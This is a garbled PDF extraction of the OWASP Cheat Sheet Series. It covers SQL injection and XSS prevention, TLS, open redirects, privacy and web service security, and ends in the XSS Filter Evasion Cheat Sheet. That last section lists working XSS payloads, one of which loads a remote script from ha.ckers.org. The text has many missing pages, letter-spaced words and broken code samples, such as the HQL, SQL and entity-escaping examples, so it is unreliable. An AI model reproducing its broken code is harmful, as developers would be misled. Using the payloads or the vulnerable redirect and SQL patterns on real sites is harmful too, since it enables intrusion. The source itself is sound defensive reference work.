Here i s a safe version o f the same query using named parameters
Query safeHQLQuery = session . createQuery ( " from Inventory where productID =:
, productid " ) ;
safeHQLQuery . setParameter ( " productid " , userSuppliedParameter ) ;
For examples of parameterized queries in other languages, including Ruby, PHP, Cold
Fusion, and Perl, see the Query Parameterization Cheat Sheet on page 107.
Developers tend to like the Prepared Statement approach because all the SQL code
stays within the application. This makes your application relatively database independent. However, other options allow you to store all the SQL code in the database
itself, which has both security and non-security advantages. That approach, called
Stored Procedures, is described next.
141
We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support the ability to invoke stored procedures.
For organizations that already make significant or even exclusive use of stored procedures, it is far less likely that they have SQL injection flaws in the first place.
However, you still need to be careful with stored procedures because it is possible,
although relatively rare, to create a dynamic query inside of a stored procedure that
is subject to SQL injection. If dynamic queries in your stored procedures cant be
142
143
So, if you had an existing Dynamic query being generated in your code that was going
to Oracle that looked like this:
String query = "SELECT user_id FROM user_data WHERE
, getParameter ( " userID " ) + " and user_password
, getParameter ( " pwd " ) + " " ;
try {
Statement statement = connection . createStatement (
ResultSet r e s u l t s = statement . executeQuery ( query
}
... ) ;
);
And it would now be safe from SQL injection, regardless of the input supplied.
For maximum code readability, you could also construct your own OracleEncoder.
Encoder oe = new OracleEncoder ( ) ;
String query = "SELECT user_id FROM user_data WHERE user_name = " + oe .
, encode ( req . getParameter ( " userID " ) ) + " and user_password = " + oe
, . encode ( req . getParameter ( " pwd " ) ) + " " ;
With this type of solution, all your developers would have to do is wrap each user
supplied parameter being passed in into an ESAPI.encoder().encodeForOracle() call or
whatever you named it, and you would be done.
Turn off character replacement
Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the & character will be
treated like a SQLPlus variable prefix that could allow an attacker to retrieve private
data.
See [11] and [12] for more information
Escaping Wildcard characters in Like Clauses
The LIKE keyword allows for text scanning searches. In Oracle, the underscore _
character matches only one character, while the ampersand % is used to match zero
or more occurrences of any characters. These characters must be escaped in LIKE
clause criteria. For example:
SELECT name FROM emp
WHERE id LIKE %/_% ESCAPE / ;
144
\
_
all
This information is based on the MySQL Escape character information found here
[13].
SQL Server Escaping
We have not implemented the SQL Server escaping routine yet, but the following has
good pointers to articles describing how to prevent SQL injection attacks on SQL
server [14].
DB2 Escaping
This information is based on DB2 WebQuery special characters found here [15] as
well as some information from Oracles JDBC DB2 driver found here [16].
Information in regards to differences between several DB2 Universal drivers can be
found here [17].
145
146
20.6. References
1. https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_
Sheet
2. https://www.owasp.org/index.php/SQL_Injection
3. http://www.sqlite.org/c3ref/stmt.html
4. http://www.hibernate.org/
5. http://cwe.mitre.org/data/definitions/564.html
6. http://www.sqldbatips.com/showarticle.asp?ID=8
7. https://www.owasp.org/index.php/ESAPI
8. http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html
9. http://code.google.com/p/owasp-esapi-java/source/browse/#svn/
trunk/src/main/java/org/owasp/esapi
147
12. http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-co
13. http://mirror.yandex.ru/mirrors/ftp.mysql.com/doc/refman/5.0/en/
string-syntax.html
14. http://blogs.msdn.com/raulga/archive/2007/01/04/
dynamic-sql-sql-injection.aspx
15. https://www-304.ibm.com/support/docview.wss?uid=
nas14488c61e3223e8a78625744f00782983
16. http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/
sqlescape.html
17. http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?
topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm
148
21.1. Introduction
This cheat sheet provides a simple model to follow when implementing transport
layer protection for an application. Although the concept of SSL is known to many,
the actual details and security specific decisions of implementation are often poorly
understood and frequently result in insecure deployments. This article establishes
clear rules which provide guidance on securely designing and configuring transport
layer security for an application. This article is focused on the use of SSL/TLS
between a web application and a web browser, but we also encourage the use of
SSL/TLS or other network encryption technologies, such as VPN, on back end and
other non-browser based connections.
149
150
151
152
153
154
155
156
157
158
159
160
21.3. Providing Transport Layer Protection for Back End and Other
Connections
Although not the focus of this cheat sheet, it should be stressed that transport layer
protection is necessary for back-end connections and any other connection where
sensitive data is exchanged or where user identity is established. Failure to implement an effective and robust transport layer security will expose sensitive data and
undermine the effectiveness of any authentication or access control mechanism.
21.4. Tools
21.4.1. local/offline
O-Saft - OWASP SSL advanced forensic tool, https://www.owasp.org/index.
php/O-Saft
SSLScan - Fast SSL Scanner, http://sourceforge.net/projects/sslscan/
SSLyze, https://github.com/iSECPartners/sslyze
SSL Audit, http://www.g-sec.lu/sslaudit/sslaudit.zip
21.4.2. Online
SSL LABS Server Test, https://www.ssllabs.com/ssltest
161
http:
NIST SP 800-52 Rev. 1 Guidelines for the Selection, Configuration, and Use
of Transport Layer Security (TLS) Implementations, http://csrc.nist.gov/
publications/PubsSPs.html#800-52
NIST FIPS 140-2 Security Requirements for Cryptographic Modules, http:
//csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
NIST Implementation Guidance for FIPS PUB 140-2 and the Cryptographic Module Validation Program, http://csrc.nist.gov/groups/STM/
cmvp/documents/fips140-2/FIPS1402IG.pdf
NIST - NIST SP 800-57 Recommendation for Key Management, Revision
3,
http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_
part1_rev3_general.pdf,
Public
DRAFT,
http://csrc.nist.gov/
publications/PubsDrafts.html#SP-800-57-Part%203-Rev.1
NIST SP 800-95 Guide to Secure Web Services, http://csrc.nist.gov/
publications/drafts.html#sp800-95
IETF RFC 5280 Internet X.509 Public Key Infrastructure Certificate and
Certificate Revocation List (CRL) Profile, http://www.ietf.org/rfc/rfc5280.
txt
IETF RFC 2246 The Transport Layer Security (TLS) Protocol Version 1.0 (JAN
1999), http://www.ietf.org/rfc/rfc2246.txt
IETF RFC 4346 The Transport Layer Security (TLS) Protocol Version 1.1 (APR
2006), http://www.ietf.org/rfc/rfc4346.txt
IETF RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2 (AUG
2008), http://www.ietf.org/rfc/rfc5246.txt
bettercrypto - Applied Crypto Hardening: HOWTO for secure crypto settings of
the most common services (DRAFT), https://bettercrypto.org/
162
21.7. References
1. https://www.owasp.org/index.php/Transport_Layer_Protection_
Cheat_Sheet
2. http://csrc.nist.gov/groups/STM/cmvp/validation.html
3. http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/
FIPS1402IG.pdf
4. http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf
5. http://www.w3.org/Security/wiki/Strict_Transport_Security
6. http://www.ietf.org/rfc/rfc2616.txt
7. https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#
Browser_Support
8. https://www.owasp.org/index.php/HTTP_Strict_Transport_Security
9. http://www.youtube.com/watch?v=zEV3HOuM_Vw&feature=youtube_gdata
10. http://googleonlinesecurity.blogspot.com/2014/09/
gradually-sunsetting-sha-1.html
11. https://support.globalsign.com/customer/portal/articles/
1499561-sha-256-compatibility
12. http://www.schneier.com/paper-ssl-revised.pdf
13. http://www.yaksman.org/~lweith/ssl.pdf
14. http://en.wikipedia.org/wiki/Transport_Layer_Security#Web_
browsers
15. http://www.yassl.com/yaSSL/Blog/Entries/2010/10/7_Differences_
between_SSL_and_TLS_Protocol_Versions.html
16. http://www.schneier.com/paper-ssl-revised.pdf
17. http://www.yaksman.org/~lweith/ssl.pdf
18. https://www.openssl.org/~bodo/ssl-poodle.pdf
19. https://www.ssllabs.com/ssltest/viewClient.html?name=IE&version=
6&platform=XP
20. http://www.iana.org/assignments/tls-parameters/tls-parameters.
xml#tls-parameters-3
163
164
165
22.1. Introduction
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL
contained within untrusted input. By modifying untrusted URL input to a malicious
site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site,
phishing attempts may have a more trustworthy appearance. Unvalidated redirect
and forward attacks can also be used to maliciously craft a URL that would pass
the applications access control check and then forward the attacker to privileged
functions that they would normally not be able to access.
PHP
<?php
/ * Redirect browser * /
header ( " Location : http ://www. mysite .com/ " ) ;
?>
ASP.NET
Response . Redirect ( " ~ / f o l d e r /Login . aspx " )
Rails
r e d i r e c t _ t o login_path
In the examples above, the URL is being explicitly declared in the code and cannot
be manipulated by an attacker.
166
The following PHP code obtains a URL from the query string and then redirects the
user to that URL.
$ r e d i r e c t _ u r l = $_GET [ url ] ;
header ( " Location : " . $ r e d i r e c t _ u r l ) ;
And in rails:
r e d i r e c t _ t o params [ : url ]
The user sees the link directing to the original trusted site (example.com) and does
not realize the redirection that could take place
167
When applications allow user input to forward requests between different parts of the
site, the application must check that the user is authorized to access the url, perform
the functions it provides, and it is an appropriate url request. If the application fails
to perform these checks, an attacker crafted URL may pass the applications access
control check and then forward the attacker to an administrative function that is not
normally permitted.
http://www.example.com/function.jsp?fwd=admin.jsp
The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url
parameter. The servlet will retrieve the url parameter value from the request and
send a response to redirect the browser to the url address.
public class R e d i r e c t S e r v l e t extends HttpServlet {
protected void doGet ( HttpServletRequest request , HttpServletResponse
, response ) throws
ServletException , IOException {
String query = request . getQueryString ( ) ;
i f ( query . contains ( " url " ) ) {
String url = request . getParameter ( " url " ) ;
response . sendRedirect ( url ) ;
}
}
}
168
Open
Redirects,
http://cwe.mitre.org/data/
redirects,
22.7. References
1. https://www.owasp.org/index.php/Unvalidated_Redirects_and_
Forwards_Cheat_Sheet
169
23.1. Introduction
This OWASP Cheat Sheet introduces mitigation methods that web developers may
utilize in order to protect their users from a vast array of potential threats and aggressions that might try to undermine their privacy and anonymity. This cheat sheet
focuses on privacy and anonymity threats that users might face by using online services, especially in contexts such as social networking and communication platforms.
23.2. Guidelines
23.2.1. Strong Cryptography
Any online platform that handles user identities, private information or communications must be secured with the use of strong cryptography. User communications
must be encrypted in transit and storage. User secrets such as passwords must
also be protected using strong, collision-resistant hashing algorithms with increasing work factors, in order to greatly mitigate the risks of exposed credentials as well
as proper integrity control.
To protect data in transit, developers must use and adhere to TLS/SSL best practices
such as verified certificates, adequately protected private keys, usage of strong ciphers only, informative and clear warnings to users, as well as sufficient key lengths.
Private data must be encrypted in storage using keys with sufficient lengths and under strict access conditions, both technical and procedural. User credentials must
be hashed regardless of whether or not they are encrypted in storage.
For detailed guides about strong cryptography and best practices, read the following
OWASP references:
Cryptographic Storage Cheat Sheet 6 on page 47
Authentication Cheat Sheet 1 on page 12
Transport Layer Protection Cheat Sheet 21 on page 149
Guide to Cryptography [2]
Testing for TLS/SSL [3]
170
171
172
23.4. References
1. https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_
Sheet
2. https://www.owasp.org/index.php/Guide_to_Cryptography
3. https://www.owasp.org/index.php/Testing_for_SSL-TLS_
%28OWASP-CM-001%29
4. https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
5. https://tools.ietf.org/html/draft-ietf-websec-strict-transport-sec-11
6. http://www.youtube.com/watch?v=zEV3HOuM_Vw
173
174
24.1. Introduction
This article is focused on providing guidance to securing web services and preventing
web services related attacks. Please notice that due to the difference of implementation between different frameworks, this cheat sheet is kept at a high level.
175
Enforce the same encoding style between the client and the server.
24.8. Authorization
Web services need to authorize web service clients the same way web applications
authorize users. A web service needs to make sure a web service client is authorized
to: perform a certain action (coarse-grained); on the requested data (fine-grained).
Rule A web service should authorize its clients whether they have access to the
method in question. Following authentication, the web service should check the privileges of the requesting entity whether they have access to the requested resource.
This should be done on every request.
Rule Ensure access to administration and management functions within the Web
Service Application is limited to web service administrators. Ideally, any administrative capabilities would be in an application that is completely separate from the
web services being managed by these capabilities, thus completely separating normal
users from these sensitive functions.
176
177
24.14. Availability
24.14.1. Message Throughput
Throughput represents the number of web service requests served during a specific
amount of time.
Rule Configuration should be optimized for maximum message throughput to avoid
running into DoS-like situations.
Rule
Rule
Rule Validating against overlong element names. If you are working with SOAPbased Web Services, the element names are those SOAP Actions.
This protection should be provided by your XML parser/schema validator. To verify,
build test cases to make sure your parser to resistant to these types of attacks.
24.17. References
1. https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet
178
25.1. Introduction
This article provides a simple positive model for preventing XSS [2] using output
escaping/encoding properly. While there are a huge number of XSS attack vectors,
following a few simple rules can completely defend against this serious attack. This
article does not explore the technical or business impact of XSS. Suffice it to say that
it can lead to an attacker gaining the ability to do anything a victim can do through
their browser.
Both reflected and stored XSS [3] can be addressed by performing the appropriate
validation and escaping on the server-side. DOM Based XSS [4] can be addressed
with a special subset of rules described in the DOM based XSS Prevention Cheat
Sheet 7 on page 54.
For a cheatsheet on the attack vectors related to XSS, please refer to the XSS Filter
Evasion Cheat Sheet [5]. More background on browser security and the various
browsers can be found in the Browser Security Handbook [6].
Before reading this cheatsheet, it is important to have a fundamental understanding
of Injection Theory [7].
179
180
Most importantly, never accept actual JavaScript code from an untrusted source and
then run it. For example, a parameter named "callback" that contains a JavaScript
code snippet. No amount of escaping can fix that.
25.2.2. RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML
Element Content
Rule #1 is for when you want to put untrusted data directly into the HTML body
somewhere. This includes inside normal tags like div, p, b, td, etc. Most web frameworks have a method for HTML escaping for the characters detailed below. However,
this is absolutely not sufficient for other HTML contexts. You need to implement the
other rules detailed here as well.
<body > . . .ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE. . . < / body>
<div > . . .ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE. . . < / div >
any other normal HTML elements
Escape the following characters with HTML entity encoding to prevent switching into
any execution context, such as script, style, or event handlers. Using hex entities is
recommended in the spec. In addition to the 5 characters significant in XML (&, <,
>, ", ), the forward slash is included as it helps to end an HTML entity.
>
>
>
>
>
,
/ >
&
<
>
"
&
&l t ;
> ;
" ;
' ; &apos ; not recommended because i t s not in the HTML spec ( See :
section 24.4.1)&apos ; i s in the XML and XHTML specs .
/ ; forward slash i s included as i t helps end an HTML e n t i t y
See the ESAPI reference implementation [11] of HTML entity escaping and unescaping.
String safe = ESAPI . encoder ( ) . encodeForHTML ( request . getParameter ( " input "
, ) ) ;
25.2.3. RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML
Common Attributes
Rule #2 is for putting untrusted data into typical attribute values like width, name,
value, etc. This should not be used for complex attributes like href, src, style, or any
of the event handlers like onmouseover. It is extremely important that event handler
attributes should follow Rule #3 for HTML JavaScript Data Values.
<div a t t r = . . .ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE. . . > content </div >
, inside UNquoted a t t r i b u t e
<div a t t r = . . .ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE. . . > content </div >
, inside s i n g l e quoted a t t r i b u t e
<div a t t r = " . . . ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE. . . " > content </div >
, inside double quoted a t t r i b u t e
Except for alphanumeric characters, escape all characters with ASCII values less
than 256 with the &#xHH; format (or a named entity if available) to prevent switching out of the attribute. The reason this rule is so broad is that developers frequently
leave attributes unquoted. Properly quoted attributes can only be escaped with the
181
Please note there are some JavaScript functions that can never safely use untrusted
data as input - EVEN IF JAVASCRIPT ESCAPED!
For example:
<script >
window . s e t I n t e r v a l ( . . . EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE
, . . . ) ;
</ s c r i p t >
Except for alphanumeric characters, escape all characters less than 256 with the
\xHH format to prevent switching out of the data value into the script context or
into another attribute. DO NOT use any escaping shortcuts like \" because the
quote character may be matched by the HTML attribute parser which runs first.
These escaping shortcuts are also susceptible to "escape-the-escape" attacks where
the attacker sends \" and the vulnerable code turns that into \\" which enables the
quote.
If an event handler is properly quoted, breaking out requires the corresponding
quote. However, we have intentionally made this rule quite broad because event
handler attributes are often left unquoted. Unquoted attributes can be broken out of
with many characters including [space] % * + , - / ; < = > ^ and |. Also, a </script>
closing tag will close a script block even though it is inside a quoted string because
the HTML parser runs before the JavaScript parser.
See the ESAPI reference implementation of JavaScript escaping and unescaping.
String safe = ESAPI . encoder ( ) . encodeForJavaScript ( request . getParameter ( "
, input " ) ) ;
RULE #3.1 - HTML escape JSON values in an HTML context and read the data with
JSON.parse
In a Web 2.0 world, the need for having data dynamically generated by an application
in a javascript context is common. One strategy is to make an AJAX call to get the
182
183
25.2.5. RULE #4 - CSS Escape And Strictly Validate Before Inserting Untrusted
Data into HTML Style Property Values
Rule #4 is for when you want to put untrusted data into a stylesheet or a style tag.
CSS is surprisingly powerful, and can be used for numerous attacks. Therefore, its
important that you only use untrusted data in a property value and not into other
places in style data. You should stay away from putting untrusted data into complex
properties like url, behavior, and custom (-moz-binding). You should also not put
untrusted data into IEs expression property value which allows JavaScript.
< s t y l e > s e l e c t o r { property : . . . ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE
, . . . ; } </ s t y l e > property value
< s t y l e > s e l e c t o r { property : " . . . ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE
, . . . " ; } </ s t y l e > property value
<span s t y l e =" property : . . . ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE. . . " >
, text </span> property value
Please note there are some CSS contexts that can never safely use untrusted data as
input - EVEN IF PROPERLY CSS ESCAPED! You will have to ensure that URLs only
start with "http" not "javascript" and that properties never start with "expression".
For example:
{ backgroundurl : " j a v a s c r i p t : a l e r t ( 1 ) " ; } // and a l l other URLs
{ texts i z e : " expression ( a l e r t ( XSS ) ) " ; } // only in IE
Except for alphanumeric characters, escape all characters with ASCII values less
than 256 with the \HH escaping format. DO NOT use any escaping shortcuts like
\" because the quote character may be matched by the HTML attribute parser which
runs first. These escaping shortcuts are also susceptible to "escape-the-escape" attacks where the attacker sends \" and the vulnerable code turns that into \\" which
enables the quote.
If attribute is quoted, breaking out requires the corresponding quote. All attributes
should be quoted but your encoding should be strong enough to prevent XSS when
untrusted data is placed in unquoted contexts. Unquoted attributes can be broken
out of with many characters including [space] % * + , - / ; < = > ^ and |. Also, the
</style> tag will close the style block even though it is inside a quoted string because
the HTML parser runs before the JavaScript parser. Please note that we recommend
aggressive CSS encoding and validation to prevent XSS attacks for both quoted and
unquoted attributes.
See the ESAPI reference implementation of CSS escaping and unescaping.
String safe = ESAPI . encoder ( ) . encodeForCSS ( request . getParameter ( " input " )
, ) ;
25.2.6. RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL
Parameter Values
Rule #5 is for when you want to put untrusted data into HTTP GET parameter value.
<a href =" http ://www. somesite .com? t e s t = . . .ESCAPE UNTRUSTED DATA BEFORE
, PUTTING HERE. . . " > link </a >
Except for alphanumeric characters, escape all characters with ASCII values less
than 256 with the %HH escaping format. Including untrusted data in data: URLs
184
WARNING: Do not encode complete or relative URLs with URL encoding! If untrusted
input is meant to be placed into href, src or other URL-based attributes, it should
be validated to make sure it does not point to an unexpected protocol, especially
Javascript links. URLs should then be encoded based on the context of display like
any other piece of data. For example, user driven URLs in HREF links should be
attribute encoded. For example:
String userURL = request . getParameter ( " userURL " )
boolean isValidURL = ESAPI . v a l i d a t o r ( ) . isValidInput ( " URLContext " , userURL ,
, "URL" , 255, f a l s e ) ;
i f ( isValidURL ) {
<a href="<%=encoder . encodeForHTMLAttribute ( userURL ) %>">link </a>
}
25.2.7. RULE #6 - Sanitize HTML Markup with a Library Designed for the Job
If your application handles markup untrusted input that is supposed to contain
HTML it can be very difficult to validate. Encoding is also difficult, since it would
break all the tags that are supposed to be in the input. Therefore, you need a library
that can parse and clean HTML formatted text. There are several available at OWASP
that are simple to use:
HtmlSanitizer [22]
An open-source .Net library. The HTML is cleaned with a white list approach. All
allowed tags and attributes can be configured. The library is unit tested with the
OWASP XSS Filter Evasion Cheat Sheet on page 197
var s a n i t i z e r = new HtmlSanitizer ( ) ;
s a n i t i z e r . AllowedAttributes . Add ( " class " ) ;
var s a n i t i z e d = s a n i t i z e r . S a n i t i z e ( html ) ;
For more information on OWASP Java HTML Sanitizer policy construction, see [14].
185
will instruct web browser to load all resources only from the pages origin and
JavaScript source code files additionaly from static.domain.tld. For more details
on Content Security Policy, including what it does, and how to use it, see the OWASP
article on Content_Security_Policy
Defense:
HTML Entity Encoding [19]
Data Type: String
Context: Safe HTML Attributes
Code Sample:
186
<input type =" t e x t " name="fname " value ="UNTRUSTED DATA" >
Defense:
Aggressive HTML Entity Encoding 25.2.3 on page 181
Only place untrusted data into a whitelist of safe attributes (listed below).
Strictly validate unsafe attributes such as background, id and name.
Data Type: String
Context: GET Parameter
Code Sample:
<a href ="/ s i t e /search?value=UNTRUSTED DATA" > clickme </a>
Defense:
URL Encoding 25.2.6 on page 184
Data Type: String
Context: Untrusted URL in a SRC or HREF attribute
Code Sample:
<a href ="UNTRUSTED URL" > clickme </a>
<iframe src ="UNTRUSTED URL" />
Defense:
Canonicalize input
URL Validation
Safe URL verification
Whitelist http and https URLs only (Avoid the JavaScript Protocol to Open
a new Window [20])
Attribute encoder
Data Type: String
Context: CSS Value
Code Sample:
<div s t y l e =" width : UNTRUSTED DATA; " > Selection </div >
Defense:
Strict structural validation 25.2.5 on page 184
CSS Hex encoding
Good design of CSS Features
Data Type: String
Context: JavaScript Variable
Code Sample:
< s c r i p t >var currentValue = UNTRUSTED DATA ; < / s c r i p t >
< s c r i p t >someFunction ( UNTRUSTED DATA ) ; </ s c r i p t >
Defense:
Ensure JavaScript variables are quoted
187
Defense:
HTML Validation (JSoup, AntiSamy, HTML Sanitizer)1
Data Type: String
Context: DOM XSS
Code Sample:
< s c r i p t >document . write ( "UNTRUSTED INPUT : " + document . l o c a t i o n . hash ) ; <
, s c r i p t />
Defense:
DOM based XSS Prevention Cheat Sheet 7 on page 54
Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows,
rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value,
vlink, vspace, width
188
189
25.7. References
1. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
_Prevention_Cheat_Sheet
2. https://www.owasp.org/index.php/XSS
3. https://www.owasp.org/index.php/XSS#Stored_and_Reflected_XSS_
Attacks
4. https://www.owasp.org/index.php/DOM_Based_XSS
5. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
6. http://code.google.com/p/browsersec/
7. https://www.owasp.org/index.php/Injection_Theory
8. http://wpl.codeplex.com/
9. http://msdn.microsoft.com/en-us/library/ms972969.aspx#
securitybarriers_topic6
10. https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
11. http://code.google.com/p/owasp-esapi-java/source/browse/trunk/
src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java
12. https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
13. https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_
Project
14. http://owasp-java-html-sanitizer.googlecode.com/svn/trunk/
distrib/javadoc/org/owasp/html/Sanitizers.html
15. http://htmlpurifier.org/
16. https://github.com/ecto/bleach
17. https://pypi.python.org/pypi/bleach
18. https://www.owasp.org/index.php/HTTPOnly
19. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_
Inserting_Untrusted_Data_into_HTML_Element_Content
20. https://www.owasp.org/index.php/Avoid_the_JavaScript_Protocol_
to_Open_a_new_Window
21. http://www.w3schools.com/tags/ref_urlencode.asp
22. https://github.com/mganss/HtmlSanitizer
190
Part II.
191
192
193
194
195
26.8. References
1. https://www.owasp.org/index.php/Attack_Surface_Analysis_Cheat_
Sheet
2. https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
3. http://arachni-scanner.com/
4. http://code.google.com/p/skipfish/
5. http://w3af.sourceforge.net/
6. https://www.owasp.org/index.php/Application_Threat_Modeling
7. http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf
8. http://www.cs.cmu.edu/~pratyus/tse10.pdf
196
27.1. Introduction
This article is focused on providing application security testing professionals with
a guide to assist in Cross Site Scripting testing. The initial contents of this article
were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was
at: http://ha.ckers.org/xss.html. That site now redirects to its new home here,
where we plan to maintain and enhance it. The very first OWASP Prevention Cheat
Sheet, the XSS (Cross Site Scripting) Prevention Cheat Sheet 25, was inspired by
RSnakes XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to
create short, simple guidelines that developers could follow to prevent XSS, rather
than simply telling developers to build apps that could protect against all the fancy
tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet
Series [2] was born.
27.2. Tests
This cheat sheet is for people who already understand the basics of XSS attacks but
want a deep understanding of the nuances regarding filter evasion.
Please note that most of these cross site scripting vectors have been tested in the
browsers listed at the bottom of the scripts.
197
or Chrome loves to replace missing quotes for you... if you ever get stuck just leave
them off and Chrome will put them in the right place and fix your missing quotes on
a URL or script.
<a onmouseover= a l e r t ( document . cookie ) >xxs link </a>
198
27.2.11. fromCharCode
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to
create any XSS vector you need:
<IMG SRC= j a v a s c r i p t : a l e r t ( String . fromCharCode(88 ,83 ,83) ) >
27.2.12. Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method
will also apply to any HTML tag type injection that uses elements like Form, Iframe,
Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many
injections listed here. Submitted by David Cross .
Edited by Abdullah Hussam.
<IMG SRC=# onmouseover=" a l e r t ( xxs ) " >
199
200
27.2.24. Spaces and meta chars before the JavaScript in images for XSS
This is useful if the pattern match doesnt take into account spaces in the word
"javascript:" -which is correct since that wont render- and makes the false assumption that you cant have a space between the quote and the "javascript:" keyword.
The actual reality is you can have any char from 1-32 in decimal:
<IMG SRC="  j a v a s c r i p t : a l e r t ( XSS ) ; " >
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The
Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and
the equals sign, making it easier to bypass cross site scripting blocks. Note that this
also applies to the grave accent char as seen here:
<BODY onload !#$%&()*~+_ . , : ; ?@[/|\]^ = a l e r t ( " XSS " ) >
Yair Amit brought this to my attention that there is slightly different behavior between
the IE and Gecko rendering engines that allows just a slash between the tag and the
parameter with no spaces. This could be useful if the system does not allow spaces.
<SCRIPT/SRC=" http ://ha . ckers . org/xss . j s "></SCRIPT>
201
202
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your
own:
</ s c r i p t >< s c r i p t > a l e r t ( XSS ) ; </ s c r i p t >
27.2.37. List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only
work in the IE rendering engine because of the JavaScript directive. Not a particularly
useful cross site scripting vector:
<STYLE> l i { l i s t s t y l e image : url ( " j a v a s c r i p t : a l e r t ( XSS ) " ) ; } < /STYLE><UL><
, LI >XSS</br>
203
204
205
206
207
27.2.42. BGSOUND
<BGSOUND SRC=" j a v a s c r i p t : a l e r t ( XSS ) ; " >
208
209
27.2.58. META
The odd thing about meta refresh is that it doesnt send a referrer in the header so it can be used for certain types of attacks where you need to get rid of referring
URLs:
<META HTTPEQUIV=" refresh " CONTENT="0; url= j a v a s c r i p t : a l e r t ( XSS ) ; " >
Note: I have not been able to insert the correct code in this document. Please visit https://www.
